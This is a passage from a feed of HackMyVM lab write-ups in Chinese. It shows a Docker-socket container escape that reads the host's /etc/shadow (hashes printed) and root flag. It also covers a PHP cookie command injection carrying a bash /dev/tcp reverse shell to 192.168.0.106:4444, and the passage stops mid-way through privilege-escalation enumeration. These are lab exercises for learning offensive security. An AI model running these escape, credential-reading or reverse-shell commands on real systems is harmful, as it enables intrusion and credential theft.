tmpfs on /run/docker.sock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=201428k,mode=755,inode64)
/dev/sda1 on /opt/hfs/config.yaml type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /opt/hfs/data type ext4 (rw,relatime,errors=remount-ro)
root@78d6dd4e44f4:/# fdisk -l 2&amp;gt;/dev/null || lsblk 2&amp;gt;/dev/null
fdisk -l 2&amp;gt;/dev/null || lsblk 2&amp;gt;/dev/null
root@78d6dd4e44f4:/# uname -a; cat /etc/os-release 2&amp;gt;/dev/null | head -5
uname -a; cat /etc/os-release 2&amp;gt;/dev/null | head -5
Linux 78d6dd4e44f4 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64 x86_64 x86_64 GNU/Linux
NAME=&amp;quot;Ubuntu&amp;quot;
VERSION=&amp;quot;20.04.6 LTS (Focal Fossa)&amp;quot;
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME=&amp;quot;Ubuntu 20.04.6 LTS&amp;quot;
root@78d6dd4e44f4:/# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 Docker Socket 可访问！这是最直接的逃逸路径。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; root@78d6dd4e44f4:/# docker images
  docker images
  REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
  ubuntu       20.04     9df6d6105df2   17 months ago   72.8MB
  wordpress    latest    e826d932809c   18 months ago   686MB
  mysql        8.0.0     228d71078f8c   8 years ago     433MB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;● 有本地镜像，用 ubuntu:20.04：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;docker run -d -v /:/host --privileged --pid=host --name pwn ubuntu:20.04 sleep infinity &amp;amp;&amp;amp; docker exec pwn chroot /host cat /etc/shadow
docker run -v /:/mnt --rm ubuntu:20.04 chroot /mnt cat /root/root.txt  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@78d6dd4e44f4:~/.hfs# docker exec pwn chroot /host cat /etc/shadow
docker exec pwn chroot /host cat /etc/shadow
root:$y$j9T$.ZHYtx4yIoOs49Rup3HPC1$U2xdQY0N6Qf5frOTNdUHlidiARPMaFXmbqYebm9XJcC:19957:0:99999:7:::
daemon:*:19956:0:99999:7:::
bin:*:19956:0:99999:7:::
sys:*:19956:0:99999:7:::
sync:*:19956:0:99999:7:::
games:*:19956:0:99999:7:::
man:*:19956:0:99999:7:::
lp:*:19956:0:99999:7:::
mail:*:19956:0:99999:7:::
news:*:19956:0:99999:7:::
uucp:*:19956:0:99999:7:::
proxy:*:19956:0:99999:7:::
www-data:*:19956:0:99999:7:::
backup:*:19956:0:99999:7:::
list:*:19956:0:99999:7:::
irc:*:19956:0:99999:7:::
_apt:*:19956:0:99999:7:::
nobody:*:19956:0:99999:7:::
systemd-network:!*:19956::::::
messagebus:!:19956::::::
avahi-autoipd:!:19956::::::
matrioshka:$y$j9T$pyr6bkZZRReL0Ect1iH4J0$ormtnhlW02niDkuRnoYJyXwv7DsX02xiU/HPZsuKFMB:20477:0:99999:7:::
sshd:!:19956::::::

root@78d6dd4e44f4:~/.hfs# docker run -v /:/mnt --rm ubuntu:20.04 chroot /mnt cat /root/root.txt
&amp;lt;nt --rm ubuntu:20.04 chroot /mnt cat /root/root.txt
7f5d6dbbaff0a1fc6d2a5c9160362908
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;docker逃逸原理介绍● Docker Socket 逃逸原理详解&lt;/h3&gt;
&lt;p&gt;  逃逸前提条件&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;容器内可访问 Docker Socket (/var/run/docker.sock)&lt;/li&gt;
&lt;li&gt;有权限与 Docker Daemon 通信（当前用户是 root 或在 docker 组）&lt;/li&gt;
&lt;li&gt;有可用的本地镜像（或网络可拉取镜像）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;  为什么能逃逸？&lt;/p&gt;
&lt;p&gt;  Docker Socket 是 Docker Daemon 的 API 接口。拥有它的访问权 = 拥有宿主机 root 权限，因为你可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建特权容器&lt;/li&gt;
&lt;li&gt;挂载宿主机任意目录&lt;/li&gt;
&lt;li&gt;访问宿主机 PID 命名空间&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;  命令详解&lt;/p&gt;
&lt;p&gt;  命令 1：完整特权逃逸&lt;/p&gt;
&lt;p&gt;  docker run -d -v /:/host --privileged --pid=host --name pwn ubuntu:20.04 sleep infinity&lt;br&gt;  ┌────────────────┬───────────────────────────────────────────────┐&lt;br&gt;  │      参数      │                     作用                      │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ docker run     │ 创建并启动新容器                              │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ -d             │ 后台运行（detach），不需要 TTY                │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ -v /:/host     │ 关键：把宿主机根目录 / 挂载到容器的 /host     │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ --privileged   │ 赋予容器所有 capabilities，可访问所有设备     │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ --pid=host     │ 共享宿主机 PID 命名空间，可看到宿主机所有进程 │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ --name pwn     │ 容器命名为 pwn，方便后续操作                  │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ ubuntu:20.04   │ 使用的镜像                                    │&lt;br&gt;  ├────────────────┼───────────────────────────────────────────────┤&lt;br&gt;  │ sleep infinity │ 让容器保持运行不退出                          │&lt;br&gt;  └────────────────┴───────────────────────────────────────────────┘&lt;br&gt;  然后：&lt;br&gt;  docker exec pwn chroot /host cat /etc/shadow&lt;br&gt;  ┌─────────────────┬──────────────────────────────────────────┐&lt;br&gt;  │      参数       │                   作用                   │&lt;br&gt;  ├─────────────────┼──────────────────────────────────────────┤&lt;br&gt;  │ docker exec     │ 在运行中的容器执行命令                   │&lt;br&gt;  ├─────────────────┼──────────────────────────────────────────┤&lt;br&gt;  │ pwn             │ 目标容器名                               │&lt;br&gt;  ├─────────────────┼──────────────────────────────────────────┤&lt;br&gt;  │ chroot /host    │ 关键：切换根目录到 /host（即宿主机的 /） │&lt;br&gt;  ├─────────────────┼──────────────────────────────────────────┤&lt;br&gt;  │ cat /etc/shadow │ 此时读取的是宿主机的 /etc/shadow         │&lt;br&gt;  └─────────────────┴──────────────────────────────────────────┘&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;  命令 2：一次性逃逸&lt;/p&gt;
&lt;p&gt;  docker run -v /:/mnt --rm ubuntu:20.04 chroot /mnt cat /root/root.txt&lt;br&gt;  ┌────────────────────┬─────────────────────────────────────┐&lt;br&gt;  │        参数        │                作用                 │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ docker run         │ 创建并启动新容器                    │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ -v /:/mnt          │ 把宿主机根目录挂载到容器的 /mnt     │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ --rm               │ 命令执行完自动删除容器（不留痕迹）  │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ ubuntu:20.04       │ 使用的镜像                          │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ chroot /mnt        │ 切换根目录到 /mnt（宿主机文件系统） │&lt;br&gt;  ├────────────────────┼─────────────────────────────────────┤&lt;br&gt;  │ cat /root/root.txt │ 读取宿主机的 /root/root.txt         │&lt;br&gt;  └────────────────────┴─────────────────────────────────────┘&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;  图示&lt;/p&gt;
&lt;p&gt;  ┌─────────────────────────────────────────┐&lt;br&gt;  │            宿主机 (Host)                 │&lt;br&gt;  │  /                                      │&lt;br&gt;  │  ├── etc/shadow                         │&lt;br&gt;  │  ├── root/root.txt                      │&lt;br&gt;  │  └── var/run/docker.sock  ◄─────────┐   │&lt;br&gt;  │                                     │   │&lt;br&gt;  │  ┌─────────────────────────────┐    │   │&lt;br&gt;  │  │   当前容器 (你所在位置)       │    │   │&lt;br&gt;  │  │   可访问 docker.sock ────────┘    │   │&lt;br&gt;  │  │                                  │   │&lt;br&gt;  │  │   docker run -v /:/mnt ...       │   │&lt;br&gt;  │  │          │                       │   │&lt;br&gt;  │  │          ▼                       │   │&lt;br&gt;  │  │   ┌──────────────────┐           │   │&lt;br&gt;  │  │   │  新建容器 (pwn)   │           │   │&lt;br&gt;  │  │   │  /mnt ──► 宿主机/ │           │   │&lt;br&gt;  │  │   │  chroot /mnt     │           │   │&lt;br&gt;  │  │   │  = 宿主机 root!  │           │   │&lt;br&gt;  │  │   └──────────────────┘           │   │&lt;br&gt;  │  └─────────────────────────────┘    │   │&lt;br&gt;  └─────────────────────────────────────────┘&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;  总结&lt;/p&gt;
&lt;p&gt;  本质：通过 Docker Socket 创建一个挂载宿主机文件系统的新容器，然后用 chroot 切换到宿主机环境，实现逃逸。&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/matrioshka/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/matrioshka/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-JO2024</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/jo2024/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/jo2024/</guid><description>Enjoy it.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Jo2024-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;                        

192.168.0.114   08:00:27:60:9b:44       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.114 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.114:22
Open 192.168.0.114:80
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.114
Depending on the complexity of the script, results may take some time to appear.

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLuHH80SwA8Qff3pGOY4aBesL0Aeesw6jqX+pbtR9O7w8jlbyNhuHmjjABb/34BxFp2oBx8o5xuZVXS1cE9nAlE=
|   256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKFE9s2IvPGAJ7Pt0kSC8t9OXYUrueJQQplSC2wbYtY
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Paris 2024 Olympic Games
MAC Address: 08:00:27:60:9B:44 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/16%OT=22%CT=%CU=42253%PV=Y%DS=1%DC=D%G=N%M=080027
OS:%TM=696B14E4%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=109%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%
OS:O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Uptime guess: 14.699 days (since Fri Jan  2 07:03:36 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 192.168.0.114
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.0.114    

  _|. _ _  _  _  _ _|_    v0.4.3.post1                  
 (_||| _) (/_(_|| (_| )                                 
                                                        
Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.0.114/_26-01-16_23-52-26.txt

Target: http://192.168.0.114/

[23:52:26] Starting:                                    
[23:52:28] 403 -  278B  - /.ht_wsr.txt
[23:52:28] 403 -  278B  - /.htaccess.bak1
[23:52:28] 403 -  278B  - /.htaccess.sample
[23:52:28] 403 -  278B  - /.htaccess.save
[23:52:28] 403 -  278B  - /.htaccess.orig
[23:52:28] 403 -  278B  - /.htaccess_extra
[23:52:28] 403 -  278B  - /.htaccess_sc
[23:52:28] 403 -  278B  - /.htaccessOLD
[23:52:28] 403 -  278B  - /.htaccess_orig
[23:52:28] 403 -  278B  - /.htaccessBAK
[23:52:28] 403 -  278B  - /.htaccessOLD2
[23:52:28] 403 -  278B  - /.html
[23:52:28] 403 -  278B  - /.htm
[23:52:28] 403 -  278B  - /.htpasswd_test
[23:52:28] 403 -  278B  - /.htpasswds
[23:52:28] 403 -  278B  - /.httr-oauth
[23:52:28] 403 -  278B  - /.php
[23:52:47] 301 -  312B  - /img  -&amp;gt;  http://192.168.0.114/img/
[23:53:00] 403 -  278B  - /server-status
[23:53:00] 403 -  278B  - /server-status/

Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u 192.168.0.114 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.114
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,zip,db,bak,js,yaml,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 7812]
/.php                 (Status: 403) [Size: 278]
/img                  (Status: 301) [Size: 312] [--&amp;gt; http://192.168.0.114/img/]
/preferences.php      (Status: 200) [Size: 3163]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;/preferences.php&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;header&amp;gt;Welcome to Your Personalized Page!&amp;lt;/header&amp;gt;
        &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
                            &amp;lt;div class=&amp;quot;message&amp;quot;&amp;gt;
                    &amp;lt;p&amp;gt;No user preferences were found or the cookie has expired. Please check your cookie settings or contact the site administrator if the problem persists.&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;header&amp;gt;Welcome to Your Personalized Page!&amp;lt;/header&amp;gt;
        &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
                            &amp;lt;div class=&amp;quot;preferences&amp;quot;&amp;gt;
                    &amp;lt;p&amp;gt;Your language setting is fr.&amp;lt;/p&amp;gt;
                    &amp;lt;p&amp;gt;Your background color is #ddd.&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;首次访问没有偏好 → 第二次访问有偏好 → &lt;strong&gt;说明偏好信息存储在 Cookie 里&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;题目可能是 &lt;strong&gt;利用 Cookie 篡改或解码获取 flag&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; （URL 编码 + Base64）  &lt;/p&gt;
&lt;h3&gt;第一步：URL Decode&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第二步：Base64 Decode&lt;/h3&gt;
&lt;p&gt;解码结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;O:15:&amp;quot;UserPreferences&amp;quot;:2:{s:8:&amp;quot;language&amp;quot;;s:2:&amp;quot;fr&amp;quot;;s:15:&amp;quot;backgroundColor&amp;quot;;s:4:&amp;quot;#ddd&amp;quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;这是什么？——PHP 序列化对象&lt;/h3&gt;
&lt;p&gt;这是一个 &lt;strong&gt;PHP serialize() 对象&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;O:15:&amp;quot;UserPreferences&amp;quot;:2:{...}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;含义是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UserPreferences&lt;/code&gt; 类&lt;/li&gt;
&lt;li&gt;有 2 个属性：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;language = &amp;quot;fr&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;backgroundColor = &amp;quot;#ddd&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;100% 是 PHP 反序列化题目&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;O:15:&amp;quot;UserPreferences&amp;quot;:2:{s:8:&amp;quot;language&amp;quot;;s:2:&amp;quot;fr&amp;quot;;s:15:&amp;quot;backgroundColor&amp;quot;;s:19:&amp;quot;&amp;lt;?php phpinfo(); ?&amp;gt;&amp;quot;;}
# ┌──(kalikali)-[~/temp/JO2024]
# └─$ echo -n &amp;quot;&amp;lt;?php phpinfo(); ?&amp;gt;&amp;quot; | wc -c
# 19
TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6MTk6Ijw/cGhwIHBocGluZm8oKTsgPz4iO30=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试了下失败了&lt;/p&gt;
&lt;h3&gt;转移命令执行的位置：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;O:15:&amp;quot;UserPreferences&amp;quot;:2:{s:8:&amp;quot;language&amp;quot;;s:6:&amp;quot;whoami&amp;quot;;s:15:&amp;quot;backgroundColor&amp;quot;;s:4:&amp;quot;#ddd&amp;quot;;}
# TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjEwOiJmcmB3aG9hbWlgIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# ┌──(kalikali)-[~/temp/JO2024]
# └─$ echo -n &amp;quot;bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/192.168.0.106/4444 &amp;lt;&amp;amp;1&amp;#39;&amp;quot; | wc -c
# 56
O:15:&amp;quot;UserPreferences&amp;quot;:2:{s:8:&amp;quot;language&amp;quot;;s:56:&amp;quot;bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/192.168.0.106/4444 &amp;lt;&amp;amp;1&amp;#39;&amp;quot;;s:15:&amp;quot;backgroundColor&amp;quot;;s:4:&amp;quot;#ddd&amp;quot;;}
TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU2OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjAuMTA2LzQ0NDQgPCYxJyI7czoxNToiYmFja2dyb3VuZENvbG9yIjtzOjQ6IiNkZGQiO30%3D
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# curl -v --cookie &amp;quot;preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU2OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjAuMTA2LzQ0NDQgPCYxJyI7czoxNToiYmFja2dyb3VuZENvbG9yIjtzOjQ6IiNkZGQiO30%3D&amp;quot; http://192.168.0.105/preferences.php
*   Trying 192.168.0.105:80...
* Established connection to 192.168.0.105 (192.168.0.105 port 80) from 192.168.0.106 port 59122 
* using HTTP/1.x
&amp;gt; GET /preferences.php HTTP/1.1
&amp;gt; Host: 192.168.0.105
&amp;gt; User-Agent: curl/8.18.0-rc3
&amp;gt; Accept: */*
&amp;gt; Cookie: preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU2OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjAuMTA2LzQ0NDQgPCYxJyI7czoxNToiYmFja2dyb3VuZENvbG9yIjtzOjQ6IiNkZGQiO30%3D
&amp;gt; 
* Request completely sent off

┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 4444
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import iter_entry_points
[00:06:15] Welcome to pwncat 🐈!                                                                    __main__.py:164
[00:26:17] received connection from 192.168.0.105:33400                                                  bind.py:84
[00:26:18] 192.168.0.105:33400: registered new host w/ db                                            manager.py:957
(local) pwncat$
Active Session: 192.168.0.105:33400 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@jo2024.hmv:/var/www$ cat /etc/passwd | grep /bin
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
vanity:x:1000:1000:,,,:/home/vanity:/bin/bash
tss:x:103:111:TPM software stack,,,:/var/lib/tpm:/bin/false
lightdm:x:106:114:Light Display Manager:/var/lib/lightdm:/bin/false
(remote) www-data@jo2024.hmv:/home/vanity$ ls -la
total 76
drwxr-xr-x 10 vanity vanity 4096 Aug 21 09:30 .
drwxr-xr-x  3 root   root   4096 Jul 28 12:27 ..
-rw-------  1 vanity vanity  158 Aug 21 09:29 .Xauthority
lrwxrwxrwx  1 root   root      9 Jul 26 18:04 .bash_history -&amp;gt; /dev/null
-rw-r--r--  1 vanity vanity  220 Jul 29 13:48 .bash_logout
-rw-r--r--  1 vanity vanity 3526 Jul 29 13:48 .bashrc
drwxr-xr-x  7 vanity vanity 4096 Jul 29 13:48 .cache
drwx------ 13 vanity vanity 4096 Jul 29 15:47 .config
-rw-r--r--  1 vanity vanity   35 Jul 29 13:48 .dmrc
-rw-------  1 vanity vanity   36 Jul 29 13:48 .lesshst
drwxr-xr-x  3 vanity vanity 4096 Jul 29 13:48 .local
-rw-r--r--  1 vanity vanity  807 Jul 29 13:48 .profile
drwx------  2 vanity vanity 4096 Jul 29 14:40 .ssh
-rw-r--r--  1 vanity vanity    8 Jul 29 13:48 .xprofile
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Desktop
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Documents
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Images
-rwxr-xr-x  1 vanity vanity  557 Jul 29 15:44 backup
drwx------  2 vanity vanity 4096 Jul 29 13:48 creds
-rwx------  1 vanity vanity   33 Jul 29 13:48 user.txt
(remote) www-data@jo2024.hmv:/home/vanity$ cat .dmrc
[Desktop]
Session=lightdm-xsession
(remote) www-data@jo2024.hmv:/home/vanity$ cat backup 
#!/bin/bash
 
SRC=&amp;quot;/home/vanity&amp;quot;
DEST=&amp;quot;/backup&amp;quot;
 
rm -rf /backup/{*,.*}
 
echo &amp;quot;Starting copy...&amp;quot;
find &amp;quot;$SRC&amp;quot; -maxdepth 1 -type f ! -name user.txt | while read srcfile; do
    destfile=&amp;quot;$DEST${srcfile#$SRC}&amp;quot;
    mkdir -p &amp;quot;$(dirname &amp;quot;$destfile&amp;quot;)&amp;quot;
    dd if=&amp;quot;$srcfile&amp;quot; of=&amp;quot;$destfile&amp;quot; bs=4M
 
